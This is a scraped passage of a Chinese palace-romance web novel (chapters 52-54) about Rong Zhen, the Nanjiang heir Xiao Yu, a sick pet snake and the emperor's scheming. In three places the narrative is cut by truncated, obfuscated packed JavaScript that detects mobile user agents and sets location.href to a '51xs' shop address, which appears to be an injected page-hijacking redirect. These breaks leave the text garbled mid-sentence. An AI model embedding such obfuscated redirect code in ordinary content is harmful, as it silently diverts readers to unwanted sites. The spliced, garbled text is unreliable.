她敛下眼睑,将手中盒盖轻轻盖好,才起身颇为慎重地亲自将这个装有天山雪莲的盒子收在暖阁最里面柜子的顶上方。 盛京中的别家贵女惯常喜爱的无非就是钗环脂粉或是衣裳布料,唯独她自小爱花更甚其他,连二位哥哥都时常笑她是个“痴”人儿。 想起幼时她背着父亲随着府里的花匠偷师学艺,每每弄得浑身脏兮兮,哪里有贵族嫡小姐的模样,活脱脱的像只泥里滚过的小花猫。 还几次被父亲撞见,虽少不了责骂,但到底父亲和兄长们宠着她,不遗余力地为她搜罗这天下的名花来。 就连前太子楚然当年亦曾吩咐手下,抬了不少珍稀花种送往容府她的白兰苑中。 时隔这么些年,今日这个清冷俊美、看似对一切都漠不关心的少年,竟会将他认为天下至美至珍贵的天山雪莲亲手送至她手上。若说没有什么心思,怕是无人会信。 这其中又藏了什么心,她不愿深想,缓缓合上双眼。可眼前依然浮现起那双如墨漆黑的眼,温润的微笑在她脑海中挥之不去。 她试图压住心底那一阵阵汹涌而来的悸动,她虽不知道为何会这样,却清晰地知道自己的心是因为谁而悸动。 呼吸之间,她再度睁开眼睛,眼底那丝波澜荡然无存, “娘娘,奴婢曾听人说过,这天山雪莲还是一味特别稀有的药材呢!”见容蓁收好盒子转身出来,芯红颇为兴奋地递去净手的帕子过去说道。 “嗯,确实是稀有的药材,故此千金难求,若制成药丸,对内伤、体虚甚至是先天的弱症均有奇效。”容蓁注意被拉回轻声答道。 此时,另一边的栖云轩内。 萧誉身姿颇有些慵懒的斜倚着靠枕半躺着,一只修长有力的手臂随意的枕在脑后。 那张平日里冷俊紧绷的俊脸难得的柔和下来,目光悠远中带着一丝迷茫。 在他对面正东翻西找的易辰停下动作,看着自家世子那模样,撇了撇嘴。心中直怨天道不公,世子这般模样,哪怕嘴里衔了根儿狗尾巴草,那连同那根草竟也显得夺目起来。 看了几眼后又摇头叹息,自打去了御花园一趟,世子回来就这幅样子,跟丢了魂似的。还说要使什么美人计呢,怕不是中了人家的美人计才对! “世子,咱们带来的那朵雪莲呢,我记得就放在这架子上了。” “……世子,世子!您听到我问什么了没有!” 易辰整理着从南疆带来的物品,却被他宝贝包了好几层的木盒子消失了。 萧誉从神游中恍然回过神,看了眼还在认真寻找的易辰,淡淡地开口道,“哦,我拿去送人了。”那口吻似是易辰问的只是个寻常物件。 “送人?!”易辰双目瞪大看着他,一脸惊诧问道:“送给那位了?” 见那个淡然的人只是稍稍点头,瞬间炸开:“那可是给您万不得已时保命用的,您倒是大方给了那位!” 说罢,气呼呼地瞪着他家世子不说话。 别人用美人计,不是为劫财就是为劫色。自家世子可好什么都还没劫到,还上赶着将自个儿倒贴上去了! “怕什么?我的命,没那么容易丢。”眼见着易辰急出了一头汗,萧誉这才转过头来,施舍般的给了他一个安抚的眼神。 易辰越想越觉得肉痛,神情跟吃了土一般,良久还是憋不住,颇为不满地在一旁念叨着:“不是我说您,您就算要跟那位拉近关系,送些簪子首饰之类的多好,偏偏将这么要紧的东西送了去。那朵雪莲还是王爷留给您的,这世间要想找第二朵出来可没那么容易了!” “首饰?”萧誉腾地坐起身来,一收刚才那副闲散的模样,似是认真思考起来。 眼里的眸光闪了又闪,半晌后又道,“我怎么没想到呢!易辰,你可曾打听过燕京城内最大的收拾铺在何处?咱们这就出宫去看看!” 他自动忽略了易辰方才唠叨了半天的话,最后落入耳朵里的唯独只剩下“首饰”两个字。 易辰歪着头思考着,那些纨绔公子哥儿们,平日里都是怎么吹嘘的来着? 要追求姑娘,必须要出手大方脸皮厚!可他世子要下手的又哪里是位平常的姑娘。 “多带上些银票,走!” 萧誉从榻上跃起,抬脚就出了栖云轩。 “啊?”易辰哀叫一声,胡乱抓了一把银票塞在怀里,只差捶胸顿足地追着萧誉而去。 边追边觉得他家世子最近怎像变了个人似的。 从前那个冷淡、不近女色、沉默寡言的世子去哪里了? - 半月后。 “娘娘,萧世子又有东西给您了。”芯红笑捧着一盒子进了暖阁,将门仔细关好,才低声跟容蓁禀报。 说起来,前几次跟萧世子和他那位侍从的见面,可称不上愉快。 一副她家娘娘要吃了他们的模样,当初连送的膏药都被随手丢掉。萧世子以前冷冷淡淡的不说,如今却像换了个人儿似的,但也独独是在面对她家娘娘的时候。 若她家娘娘不在跟前儿,平日里的他还是那个冷峻淡漠,让各宫宫女挂念见着就脸红的人。 最怪异的还得是他身边那位侍从。 最近这半个月,那人跟他家世子一样简直就跟变了个人似的。天天在各种奇怪的地方变着法堵她,还一口一个“姐姐”,一张嘴甜得跟抹了蜜似的。 堵她的目的也就一个,替他家世子送礼物。 萧世子虽然不是每次亲自送来,可送来的东西却是真真有心的。 有时是一只极为精巧的簪子,有时是几块成色极好的宝石原石,有时是奇形怪状的小泥人。 自家娘娘嘴上不说什么,但她看得出来,每次见有东西送来,娘娘眼眸都是闪闪发光的。 一次生二回熟,何况这么多次。 芯红从她家娘娘脸上看到了变化,从开始拿到礼物时的沉默寡言,到渐渐嘴角有了笑容。 果然,她将那盒子塞到容蓁手中,后者抿唇一笑,眼见着是心情极好的。 “哎,这是……”芯红带着几分期待看过去,却有些傻了眼。 盒子里没有首饰没有宝石,只有几块黑乎乎、焦炭似的东西静静躺在那里,但还是有些熟悉的香味自盒子中飘出。 “这是……烤红薯?” 容蓁也是一愣,片刻后才伸出食指,疑惑地戳了戳那盒子里的物体。 软软的,还带着些余温。 确定了那不明物体真是烤红薯,容蓁有些哭笑不得的捏出来一小块看起来能吃的部分,放进嘴里品尝了起来。 她记得,小时候二哥曾为她烤过红薯。如今这味儿也是和记忆中的一样香甜软糯,只是品相差了好几阶。 想到二哥,容蓁脸上的笑容蔓开。 这萧誉平日里看他行事倒是颇为稳妥的样子,如今他倒是不介意将孩子气的一面在她跟前展现出来。 她杏眼弯弯,无端的倒觉得这样也不错。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161576|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧誉眼光不错,那些精美的饰品十分符合她的心意。 如今可看着这有一面似乎烤糊了的红薯,不禁笑出声来,她想着该不会是他自己烤出来的吧! 而亲手烤着红薯的人此时正在勤学殿中,突然打了个喷嚏。 离早课开始还有半个时辰,他早早到了,周围的位置还都空着。 他今日一身霜色锦袍,腰围玉带,更衬得发色如墨,肤色如玉。走至平时的位置坐下,铺好了纸张,用紫檀镇纸压好,不急不慌往砚台里添了水,拿起墨条慢条斯理地磨了起来。 “本皇子就说来早了,你这奴才非说怕是要迟到,回去自己领板子。” 熟悉的声音在身后不远处响起,研磨之人不耐地皱了皱眉,却是眼皮都没抬,磨墨的手势都没变一下。 不多时,二皇子气冲冲的身影踏入学宫里,蓬松的一双眼看见坐得笔直如松萧誉,脚下一个急停,瞌睡也醒了一大半。 几月前他拿蛇唬这南疆世子,吃了母后一顿排头的事,在他心中挥之不去,自然不敢再随意招惹。 但他也知道大哥与这人似乎不对付,总想着压他一头,结果明里暗里使了几次手段,都被他不动声色的化解。在宫里长到这么大,趋利避害几乎已成为了本能。二皇子心里清楚,凭自己的脑子根本不是人家的对手,干脆收了那点比不过人的心思,见了人就躲得远远的。 就比如,他刚才因被奴才叫早的时辰早了些的怒火,在看见萧誉背影的瞬间早不知道飞哪去了,还有些怂地瞥了那坐直的背影几眼,自觉地坐在了离他最远的地方。 萧誉平时自然不会主动搭理他,提笔蘸了墨,悬腕开始练字。 角落里,二皇子一脸生无可恋的模样。好不容易早到一次,一时之间不知道该如何打发时间。、 他无趣的呆坐了一会,又从袖中掏出一条全身墨黑的小蛇,抚弄起来。跟上次那条凶恶咬人的蛇不同,这条小蛇看起来有些恹恹的,任他百般引逗也不怎么动弹。 “唉……”二皇子本来就不太好的心情更是雪上加霜,忍不住垂头丧气的叹息起来。 另一头的萧誉本想装作没听见的,等数到第三十次后,嘴角一抽,实在有些忍不下去了。 “二皇子何故叹息?” 如金玉相击一般的声音在二皇子身旁清冷响起。 “啊?”二皇子猛地一抬头,看见不知何时萧誉已经到了自己桌案前,吓了一大跳! 这、这萧誉是鬼魅么,走路都没声儿的?! 他张了张嘴,吓得一时没顾得上说话,看上去甚是呆傻的。 萧誉一脸冷漠地看着眼前的人,心中却想着那皇帝虽然并没有那么聪明,但也绝非蠢笨,怎会生了个这样的儿子。 见二皇子依然呆愣着未答话,他又开口道:“二皇子可有什么心事,坐中接连叹息?” 萧誉声音冷,目光更冷,深不见底的黑眸极具压迫力的盯在二皇子身上。 若是个聪明些的,自然一下子就能明白萧誉话里的意思。 可惜,萧誉显然高估了二皇子的脑子。 也不知道是吓的,还是真想倒倒苦水。 二皇子的眼圈居然一下子红了,也不管眼前这人是谁,“喏,你看,这是我新得的小黑。这可是我费了好大劲儿才弄来的,可这些天不吃不喝的,眼见着都快不行了。” 因自己眼前奄奄一息的爱宠,二皇子连平时对萧誉避之不及的事都给忘了,絮絮叨叨地竟对着萧誉悲叹起来。 52.看诊 二皇子边哀叹边将那条黑蛇抱在怀中,两根指尖一下一下轻轻抚摸着。而那黑蛇却无精打采地盘着身子,丝毫不见它半点活力。 瞧着黑蛇的状态,早已红了眼的二皇子竟忍不住在一旁断断续续地抽泣起来。 萧誉冷眼看着他这副心疼那黑蛇的模样,全然不复往日的嚣张跋扈,眉宇间染上一丝不耐。 “二皇子,你这蛇,可否借我瞧瞧?”他眉头深深皱起,冷冷地出声。 话音才落,抽泣中的二皇子一听,立刻止住了哭声,一双红肿的眼睛,可怜巴巴地看着萧誉。 “你……你有法子吗?” 萧誉不动声色地避开二皇子伸过来的手,淡淡道:“我试试。” 话落,二皇子立即向抓到救命草一般,两手胡乱将面上的鼻涕泪擦净,将怀里的黑蛇递了过去。 萧誉将那盘起不动的蛇从二皇子手里接了过来,垂眸瞧了瞧恹恹的黑蛇,又拿笔杆将蛇的头挑起,也没见它有什么应激反应。 可瞧着瞧着,脑海中不由自主地浮现出秋猎时容蓁被狮群包围的画面。 “狮群……容蓁……”萧誉低声呢喃,心中忽然涌起一个念头。 不知为何,他觉得……或许,她有办法。 这个念头一经出现,在脑海中便如野草般疯狂滋长。 好不容易熬到下学。 萧誉辞别魏巡、苏元清和楚景三人,加快脚步回到栖云轩。回去前已让易辰去给明华殿递了消息过去。 是以,当他才踏入正院,目光就已经看到坐在正厅内,悠闲地端着茶盏的人。 “娘娘,你来了。” 他由正院往里走,语气中带着一丝旁人不易察觉到的情绪波动。 “世子相邀,我自然会来。”容蓁看向他微微一笑,眼波流转间,尽是风情。 萧誉的目光落在她娇艳欲滴的红唇上,喉结不自觉地滚动了一下。 【宿主与萧誉好感度增长1分,目前总好感度为41分】 他连忙移开视线,轻咳一声,掩饰自己的失态。 容蓁已将他的举动尽收眼底,又听见系统的提示,她脸上的笑意渐深。 直到他走进正厅内,她的目光自然而然地落在他臂弯那条黑蛇身上,好看的眉头微微蹙起。 “这就是世子所说的要事?”她目光在黑蛇上停留一瞬后,缓缓转而看向萧誉,语气中带着一丝调侃。 萧誉有些不自在摸摸鼻尖,耳根微微泛红。这是让易辰将她请来栖云轩时随意编的个由头,经她这么一问反倒让人觉得别有用心似的。 耳根的红不多时已蔓延至整个耳廓。 “这黑蛇是二皇子新得的,今早在学宫看他因这黑蛇无精打采的。想着或许你有办法,就将它拿了来。” 他将那蛇从臂弯里拿出,托在手掌中。 说话间已人走至容蓁身前,只需轻轻吸气便能闻到自她身上传来的清香。 容蓁没注意到萧誉的小心思,她抬眸凝视那黑蛇,须臾又用指尖轻轻触碰了一下它的鳞片,似作安抚一般。 “它怎么了?”她头也不抬地轻声问道。 “二皇子倒也没说清,只说这黑蛇自寻了回来便一直不吃不喝。” 萧誉说话时,目光自她发顶移至鬓间,又移至那露出来一点点白皙的脖颈解释道。 那蛇不论是在二皇子袖中,还是在萧誉臂弯里,自始至终没有动弹过一下。 可偏偏方才她指尖只轻轻触碰它那么一瞬,那黑蛇的头却立了起来,虽然看上去还是没有什么气力的模样,但好歹有了反应。 萧誉瞧着眼底闪过一瞬的惊诧,他本只是打算试一试,没想到这蛇遇到容蓁果真有了反应。 倒是印证了他心底的那个想法。 思索间,容蓁已经从黑蛇那里得到了信息,她抬起头,目光直视着他,眼中闪烁着狡黠的光芒,“那世子怎就确定我会有办法?” “我只是想起秋猎那次……” 话未说完,她忽然从那椅子站起身来,那张倾城的脸缓缓凑到他耳边,声音落在萧誉耳中,带着些蛊惑,更似一钩子伸向他心底深处。 让他心神狠狠一荡。 只听得那声音道:“那世子可是发现我隐藏的大秘密了!” 他微微一怔,旋即低头看向矮他半个头的容蓁,两人脸的距离不过两指。 只余两人的正厅中,空荡荡的,他心跳骤然加速,那抹不自然的红晕自耳廓蔓延至他面上,温热的气息缓缓自他口中吐出,他声音很轻,却异常严肃说道:“放心,我不会说与旁人。” 她本只想调戏一下萧誉,却没想到这人竟会这般认真地回答她。 后知后觉地才察觉到二人之间暧昧的气氛和距离。 她笑了笑,缓缓坐下,脸上红温比之萧誉只会有过之而无不及。 萧誉见她坐下,自己也后退一步,似乎觉着拉开两人之间的距离,方才两人之间那丝道不明的气氛也会随之消散一般。 他有些不自然地别过头,轻咳一声,“娘娘可有发现什么?” 他这幅样子倒是不多见,容蓁心中觉得有趣,面上却不表露出来,只端起桌上的茶盏,轻轻抿了一口,遮住唇边的笑意。 “世子可知这蛇为何不吃不喝?”她放下茶盏,抬眸看向他,目光中带着一丝狡黠。 萧誉被她看得有些不自在,不自觉地伸手摸了摸鼻尖,“还请娘娘解惑。” “与它同穴的本还有条母蛇。”容蓁说着,又伸出手来用那纤纤玉指,轻轻抚摸着黑蛇的脑袋。 那黑蛇在她手下温顺得像只小猫,头微微抬起看着她。 “万物皆有灵,如今它思之心切,若不将它送回去,或是将那条母蛇寻来,只怕它会……”容蓁说到此处,顿了顿,没有继续说下去。 但萧誉却明白她的意思,若不将它送回去,只怕它会活活将自己饿死。 - 金銮殿。 王乾正轻手轻脚地为楚绍换了盏新茶,又在香炉中加了一小块龙涎香。 迈着鞋沾地却不闻其声的步子,走至御案前,拘着身子轻声道:“陛下,您歇息会子眼睛,尝尝新上贡的茶。” 话落,本沉心看着案上奏折的人放下手中沾着朱墨的御笔,左右晃动了下微僵的脖颈,抬起了头来。 他眼底有两抹青影,看上去比平日更加阴沉疲惫了些。 御案前堆着的奏折被分为两摞,他抬手揉了揉眉心,看上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178784|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身心俱惫模样。 眼底闪过一丝狠决,随之却又如那烛台之上的火苗摇摆不定。 面前这摞奏折无一不是在说着此次容平章江南盐税案办的好,应如何嘉奖之类。 他心中自然知晓容平章之功不论为国还是为民皆有益,只是若大肆嘉奖,只怕往后这容氏一族更不易拿捏。 这是他无论如何都不想见到的局面。 他本想让容氏来牵制宋氏,三角格局才能稳定,他不想见到两方中任意一方偏颇。 要偏颇,自然也应该偏向他手中的皇权。 心中烦闷,连带着眼前的奏折都想燃尽毁尽,别来扰他。 他阖上眼深呼一口气,将容平章的事暂时搁到一边,思绪又转到了另一人身上。 他眼睛眯了眯,那少年有着一张太过耀眼的容貌,又富有年轻人特有的锐气与锋利,让他十分厌恶不喜。 就连着容蓁那样极少能落入她眼中的,竟然对萧誉似乎青眼有加的样子! 他不自觉地又想到乞巧节两人夜游赏灯的事。 想到此处,楚绍脸色更沉了三分,语气中也不自觉带了一丝怨毒,“萧誉那厮,今日在做什么?” “回皇上,萧世子每日去学宫早课,平日里几乎就在殿中呆着,偶有出宫。” “还有就是……”王乾躬着身子回话,语气略有迟疑,眼睛不停地打量着楚绍忽明忽暗的脸色,犹豫不决。 “有话就说!”楚绍握了翠绿的碧玉茶盏在手,沉着脸吹去浮面上的茶叶沉声问道。 “……萧世子最近与似乎二皇子走得很近。”王乾的身子躬的更低了些,他深知这位主子的喜怒无常,生怕自己那句话没说好而惹怒他。 “二皇子?他们在一起都做些什么?”出乎意料的,楚绍并没有因此生气,反而若有所思地问了一句,“他们之前不还层在御花园里有过争执?” 他忽然想起那件事,顿了顿,继续道:“听闻还是皇后解的围。” “也没其他,似是二皇子养的小宠出了问题,那萧世子来自南疆,对这些应是比旁人要知晓的多些,遂以都是过去找他帮忙的。”王乾毫无隐瞒地答道。 楚绍慢慢品着幽香,半晌后脸上转笑道:“罢了,都是年轻人,在一起玩闹也没什么打紧的。” 片刻,他嘴角勾起才玩味的一笑,茶盏置于御案上发出轻响,似是疲累闭起双眼,摆摆手让王乾带人退下。 直到退出了殿门,王乾心下纳闷,陛下的心思,可是越发地难以捉摸了。 直到听见殿门合上声,那双凤眼才再次睁开。 刚才听到萧誉和老二之间来往,他第一反应自然是瞬间警惕起萧誉来,可细细一想,那刚提起的防备之心瞬间就松懈下来。 楚绍自认为,对自己的几个儿子可谓了如指掌。 老二有几斤几两,他这个做父皇的也是能够掂量出来的。平日念书三天打鱼两天晒网,整天不是东游西逛,就是跟心肝似的伺候他那些宝贝蛇。虽说跟着老大几个学了些小心思小手段,可到底还是烂泥扶不上墙。 萧誉跟老二来往甚密,学好是压根别想了,学坏倒是容易的很! 老二这一回,倒是意外的合了他这父皇的心思。 53.纨绔 几日后,御书房内。 “陛下,二皇子来了。”王乾轻轻推了殿门入内,在御案外站立回禀。 御案前正在朱批的人闻声停笔,表情微转收起了不满的情绪,换上一副平日对待皇子们时的稳重雍容的模样,沉声道:“叫他进来。” 不多时,就见二皇子畏首畏尾地跟在王乾身后进了殿。 平日几乎很少能进到御书房的二皇子,此时就跟老鼠见了猫一般,才都到跟前儿就立即跪地叩头请安。 “今日怎的想起来看父皇了?”御案前的人目光和善地朝二皇子与王乾看去。 王乾挪开身子,站在不远处,不着痕迹地打量着面前这对天底下最为尊贵的父子二人。 自从那日听闻二皇子与萧誉交往神秘,他隐隐都能感受到陛下对二皇子的态度都温和了些。 “儿臣……儿臣……”从未感受过这如春风般“父爱”的二皇子,有些受宠若惊地抬眼看去。几息后,复又紧张地垂下眼道:“儿臣许久未见父皇,甚是想念,所以,才来御书房求见父皇……” “哦?朕竟不知,老二有如此孝心。”楚绍依然面色温和地看着几步之遥,颤颤巍巍的二皇子。 这幅不顶用的模样,若换作往日怕是早被以“把心思多放在学业上”为由,叫人将他拧出殿门外了。哪里还有现下这幕的“父慈子孝”。 二皇子又偷摸地打量了几眼,确定父皇此时心情尚可,这才壮起胆子继续道:“父皇,儿臣最近与南疆世子甚是投缘。儿臣……儿臣想今日,与……与他出宫转转。” “哦?这是他提出来的?”楚绍凤眼微眯,转着手上的血玉扳指问道,“还是你的主意?” “是儿臣自己的主意,萧世子嫌折腾,不想跟儿臣去来着。”二皇子觑着楚绍心情颇佳,老老实实答道。 楚绍审视的目光凝在二皇子身上转了几圈,后者被那道目光注视着,一颗心紧张到提到了嗓子眼儿。 半晌后,御案前的人漫不经心的摆了摆手,“出宫这等小事就不必特意来问朕,你是皇子本就应多体察民情,去吧。” 直到被王乾送出御书房,二皇子仍然满脸不敢置信,懵懵地看着王乾问道:“王公公,父皇今日心情很好么。” 竟然如此好说话? 王乾瞧着二皇子这呆滞的模样,笑眯眯地看着二皇子道:“殿下,听说近日京城新来了个歌伎,一曲琵琶名动京城啊。” 这太监答非所问怎么回事? 二皇子凝眸看了看眼前的王乾,忽然恍然大悟般眉目一挑,“咦,王公公竟也有如此闲情雅致?” 王乾一噎,面色颇为尴尬地笑着解释道:“奴才只是听宫中侍卫们歇息时提到过几嘴,以为殿下会感兴趣,故而多了一嘴。” 若非陛下暗示他来给二皇子“提个醒”,他如何能得知京城新来了什么歌伎? - 初冬的盛京城,寒风凛冽,繁华却丝毫不减。 二皇子今日穿了一身大红绣金的锦衣,戴着顶毡帽,身披灰色貂裘,脚踩一双暗纹金丝云锦鞋兴致勃勃地走在街上,言行举止间无不显示着他身份的尊贵。 与之富贵逼人的打扮不同的他身旁一人,面色比之这寒日要更加清冷,一双深不见底的眼眸打量着四周,身着云青色锦袍,别无装饰,只行走之间能隐约看到暗绣的云纹,锦袍上披了件白狐皮做里的鹤氅。 即使再素雅不过,路人的目光还是会第一时间被他吸引。无他,这脸太过清秀俊逸,举世无双。 “两位公子,来坐坐啊,我们家姑娘新谱了曲,不妨进来听听~” 经过红袖楼,门口招徕客人的姑娘们,目光紧紧落在萧誉脸上,眼里满是掩饰不住的惊喜,挥着手绢热情招呼起来。 萧誉脸色未变,目不斜视地路过,只唇抿的更紧了些,周身的气息越发冷了几分,却丝毫减不去来往姑娘们的热情。 “爷今儿不得闲,下次再来,下次再来!”二皇子年纪岁小,坊间寻乐的事情却是一样不曾落下,纨绔子弟的特点应有尽有。 燕燕女子络绎,他余光瞥了一眼萧誉那张陈年寒冰似的脸,到了嘴边的话又咽了回去。瘪了瘪嘴,有些人天生得了张好面孔,却冷得跟冰块儿似的,得了实在浪费! 不多时。 两人带着侍卫,进了一家京城有名的老字号酒楼。 刚踏入酒楼,盛京中能做大掌柜的人自是眼尖,见二人才踏脚进来即刻亲自去迎,将二人引至二楼雅间。 屋子里坐着喝茶的几位郎君听闻掌柜的招呼声,侧首看过去后纷纷起身行礼。 进到屋子里,二皇子仿佛找回了自己的场子,笑着拉起萧誉的袖子往里走去,“来来来,世子,我来给你介绍!这位是礼部尚书家的大公子,这是大理寺寺正的小舅子,边上那个是监察御史程大人家的三子……” 二皇子拉着萧誉一一为他介绍。 席间各位公子眼睛在他们二人之间流转,见二皇子言谈间对这位南疆世子十分亲热,众人也对萧誉多了三分恭敬。 一场宴饮下来,宾主尽欢。 自此之后,二皇子三不五时的带着萧誉一起出宫玩耍。跑马打猎、烹茶制香、喝酒行令……斗蛐蛐…… 来时孤身一人的萧誉,不过半年已在京城悄悄织起属于他的人脉网,更有十多年前被派来盛京的南疆暗子也逐一悄悄找上门来。 一条条命令随着暗网日益扩展后,有条不紊地发布了下去。 盛京之中平稳了许多年的局势,渐渐有了细小的水花翻起。 楚绍对此毫不知情。 他接到的暗卫汇报,统统都是萧誉如何与一群纨绔子弟日日吃喝玩乐。 对于萧誉如此闲散度日的行为,楚绍十分满意。 在抽背皇子们课业时,他寻了个老二近日“读书上心,朕深感欣慰”的理由,将众皇子求了多回李思训的《江帆楼阁图》真迹赏赐给了二皇子。 此番赏赐让二皇子受宠若惊,心情大好,越发不可遏制地拉着黏着萧誉,一连七日拉着他在宫外与众世家子弟欢庆,人前直夸萧誉是他福星,声泪俱下地诉说父皇终于发现了自己的好。 盛京开始流传出了“南疆世子是个纨绔公子”的传言。 流言愈演愈烈,越过高高的宫墙,传进了各有心之人的耳中,自然也到了容蓁跟前。 “萧世子…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188012|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了个纨绔?” 听芯红说起传言之时,容蓁正在喝茶,好悬没一口喷出来,堪堪忍住后,才拿着绢帕捂着嘴轻轻咳嗽了几声。 那如芝兰玉树一般的清冷少年,如今成了纨绔?! 她自然是不相信的,想到萧誉那张冷意沁人的脸变成浪荡子的模样,容蓁嘴角抽了抽。 可明知道传言不实,她心里不知怎的,还是隐约有些不适。就连平日里最爱的茶,似乎差了些味,她皱眉将茶杯放在桌上,整个人都有些懒懒的。 “娘娘,这是世子今日让人送来的。”芯红见她忽然情绪不佳,从袖中翻出个小木盒双手承到她面前。 “放在那吧。”容蓁面色冷淡,捡了本之前丢在一旁的书卷,随手翻阅起来。 - 栖云殿中。 “世子,东西送过去了。”易辰在门口磨蹭了半天,才双眼一闭,颇有壮士去兮不复返的心境迈步进内。 “有回信么?”殿内坐着的人淡声问道。 今日不曾外出,他只穿了身朴素的长衫,头戴玉冠,分明是普通的穿扮,却依然掩饰不住那张夺目万分的脸。他长长的睫毛微垂,目光似是专注于手中的书卷上,却半天没有翻动一页。 “没有。”易辰垂头摇了摇,硬着头皮回道。 果然,话音未落,他便感觉原本暖和的殿里,瞬间比屋外还要冷上几分。 萧誉平日里冷冷淡淡的俊脸,此刻阴沉下来,如同西北天山上万年不化的坚冰。 世子不开心,易辰也是满腹的愁绪。但他也无可奈何,那位都半月不曾给世子回信了。 从前他去送东西,隔三差五便能带封信回来。虽然只是简单的致谢或是问询的纸条,却总能让世子眼睛亮上半日。如今,他一次次的空手而归,世子的脸色也一日比一日差,他都不敢在这殿里多待。 萧誉沉着脸枯坐半晌,丢下书卷,向内殿走去。他从书架上的暗格中取出个带机关的铁盒,手指拨动几下,掀开了盒盖。里面是一叠大小不一的纸条。 一笔娟秀的簪花小楷跃然纸上,像那个人一样既飘逸秀美,又有一身傲骨。 萧誉骨节分明的手指轻轻的抚过纸上的每一个字,眼眸深深,似有轻愁,又似在思量…… 这日晚上。 容蓁一时贪喝晚茶,入夜便有些睡不着。见芯红已经伏在脚踏上睡着了,她不想将人吵醒,悄悄起身穿衣,翻窗出了殿门。 月色如银纱倾洒下来,她随意走在御花园中,不知不觉便到了牡丹园。 容蓁在门匾下默立了片刻,脑中闪过一个人的影子。她吁了口气放轻步子走了进园中。 许久不来,上次还灿烂盛放的牡丹,如今已过了花期,只剩下些油绿的叶子。 容蓁随手从廊柱上摘下一个灯笼,用火折子点燃了蜡烛,提在手中。火光燃起,照亮了身前几步远的距离。 “娘娘。” 一道颀长的身影忽然从梁上落下,立在了容蓁三步远的地方。 “谁?!”容蓁厉声喝道,举起灯笼照了过去。 “是我。” 萧誉上前两步,让暖黄色的光照亮了自己的脸。 54.夜遇 夜色昏暗,乌云遮月。 如纱的月色也被挡去,她抬起手中的提灯照亮了眼前人的脸。 容蓁抿了抿唇,敛下眼睑,眼底浓云翻滚,转过身去避开那道即便在黑夜里也遮盖不住的炙热视线,抬脚就往牡丹园外走。 虽只是匆匆一瞥,这些时日不见,萧誉身量似是又拔高了些,已然比她高出不止一个头。眉眼处褪去了几分青涩,多了些少年少有的坚毅俊朗和沉稳。 看起来似是更成熟,也更让人移不开眼。 这样惹人瞩目的脸,也难怪会传出那样的流言。 想到这她黛眉轻蹙,脚下的步伐不由地加快了些。 唯独留下身后那人怔怔地看着她转身而去的背影,一脸茫然还有些不知所措。 等反应过来时,那道身影早已走出牡丹园,近乎要与夜色融为一体时,萧誉快步追上去,从后拉过她飞起在风中的衣袂,才让那如飞步子停下。 “娘娘为何见我转身就走?”他的目光在她身上流转轻声问。 容蓁闻声垂眸,眸底的光暗了暗,低声道:“放手。” 萧誉一怔,握着她衣袖的手指蜷了蜷,“不放!”如孩童置气般,他并没有松开,而是垂眸看着她,目光灼灼,似是要将她看穿一般。 夜风拂过,带来阵阵凉意,也吹起她鬓边的碎发。 萧誉的目光落在她白皙修长的脖颈上,只是瞧着心中却莫名悸动,似乎闭眼便能想象的到那触感一般。他看着不禁喉结缓慢滚动起来,眸色渐深。 “娘娘可是听到了什么流言蜚语,在生我的气?”他低声问道,语气中带着一丝不易察觉的委屈。 自从盛京中流言四起,眼前这个女人对他态度忽然就发生了转变。 今夜的相遇也并非偶然,而是他半月以来每日碰运气,好不容易才等来的,他自然不会轻易松开抓住她衣袂的手。 这些天他每日赶在宫门下钥前拉着二皇子回宫,大多时候也会带回来些裁缝铺新做的衣裳。开始易辰接过他带回来的衣裳时心中还疑惑着,直到每日见着他一件件的将那些衣裳拿出来试穿比较,易辰那点疑惑也都解开了。 无非是想在那位面前一展风华。 却不曾想,此时此刻的他落入容蓁眼中,心中那份道不明的酸麻感不减反增。 “萧世子说笑了,我为何要生你的气?”容蓁没想到他竟直接揭穿,脸上扬起笑来极力想要保持,只是那笑中看不见任何温度,反而透出一丝冷漠。 萧誉被她这笑容看得心头一跳,握着她衣袖的手指不自觉地收紧了几分。 “娘娘……” 他刚想开口解释,却被容蓁打断。 “夜深了,世子孤身一人出现在此处,若是被人瞧见了,怕是又要惹来闲言碎语了。”她说着,不着痕迹地将自己的衣袖从他手中抽离,后退一步,拉开了两人之间的距离。 “娘娘,我……” 他刚想开口,却被远处传来的脚步声打断。不禁眉头微皱,有些不悦地看向声音传来的方向。 容蓁见状,转身便要离开。 “娘娘!” 萧誉连忙伸手拉住她的手腕。 容蓁被他这突如其来的动作吓了一跳,下意识地想要挣脱。可他的力气却出奇的大,任凭她如何挣扎,都无法挣脱他的钳制。 